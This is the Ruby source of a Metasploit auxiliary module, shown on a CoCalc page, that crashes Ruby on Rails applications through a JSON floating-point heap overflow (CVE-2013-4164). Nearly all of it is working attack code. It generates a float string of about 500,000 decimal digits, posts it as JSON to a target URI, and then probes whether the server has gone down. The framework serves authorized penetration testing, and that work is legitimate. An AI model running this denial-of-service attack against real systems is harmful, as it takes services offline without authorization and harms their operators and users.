CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/rails_json_float_dos.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',
13
'Description' => %q{
14
When Ruby attempts to convert a string representation of a large floating point
15
decimal number to its floating point equivalent, a heap-based buffer overflow
16
can be triggered. This module has been tested successfully on a Ruby on Rails application
17
using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application
18
crashes with a segfault error. Other versions of Ruby are reported to be affected.
19
},
20
'Author' =>
21
[
22
'Charlie Somerville', # original discoverer
23
'joev', # bash PoC
24
'todb', # Metasploit module
25
],
26
'License' => MSF_LICENSE,
27
'References' =>
28
[
29
[ 'CVE', '2013-4164' ],
30
[ 'OSVDB', '100113' ],
31
[ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]
32
],
33
'DisclosureDate' => '2013-11-22'))
34
register_options(
35
[
36
OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),
37
OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])
38
])
39
end
40
41
def uri
42
normalize_uri(target_uri.path.to_s)
43
end
44
45
def verb
46
datastore['HTTPVERB'] || 'POST'
47
end
48
49
def digit_pattern
50
@digit_pattern ||= rand(10_000).to_s
51
end
52
53
def integer_part
54
digit_pattern
55
end
56
57
def multiplier
58
(500_000 * (1.0/digit_pattern.size)).to_i
59
end
60
61
def fractional_part
62
digit_pattern * multiplier
63
end
64
65
# The evil_float seems to require some repeating element. Maybe
66
# it's just superstition, but straight up 300_002-lenth random
67
# numbers don't appear to trigger the vulnerability. Also, these are
68
# easier to produce, and slightly better than the static "1.1111..."
69
# for 300,000 decimal places.
70
def evil_float_string
71
[integer_part,fractional_part].join('.')
72
end
73
74
def run
75
print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"
76
sploit = '['
77
sploit << evil_float_string
78
sploit << ']'
79
print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"
80
target_available = true
81
82
begin
83
res = send_request_cgi(
84
{
85
'method' => verb,
86
'uri' => uri,
87
'ctype' => "application/json",
88
'data' => sploit
89
})
90
rescue ::Rex::ConnectionRefused
91
print_error "Unable to connect. (Connection refused)"
92
target_available = false
93
rescue ::Rex::HostUnreachable
94
print_error "Unable to connect. (Host unreachable)"
95
target_available = false
96
rescue ::Rex::ConnectionTimeout
97
print_error "Unable to connect. (Timeout)"
98
target_available = false
99
end
100
101
return unless target_available
102
103
print_status "Checking availability"
104
begin
105
res = send_request_cgi({
106
'method' => verb,
107
'uri' => uri,
108
'ctype' => "application/json",
109
'data' => Rex::Text.rand_text_alpha(1+rand(64)).to_json
110
})
111
if res and res.body and res.body.size > 0
112
target_available = true
113
else
114
print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"
115
target_available = false
116
end
117
rescue ::Rex::ConnectionError, Errno::ECONNRESET
118
print_good "DoS appears successful (Host unreachable)"
119
target_available = false
120
end
121
122
return unless target_available
123
124
print_error "Target is still responsive, DoS was unsuccessful."
125
126
end
127
end
128
129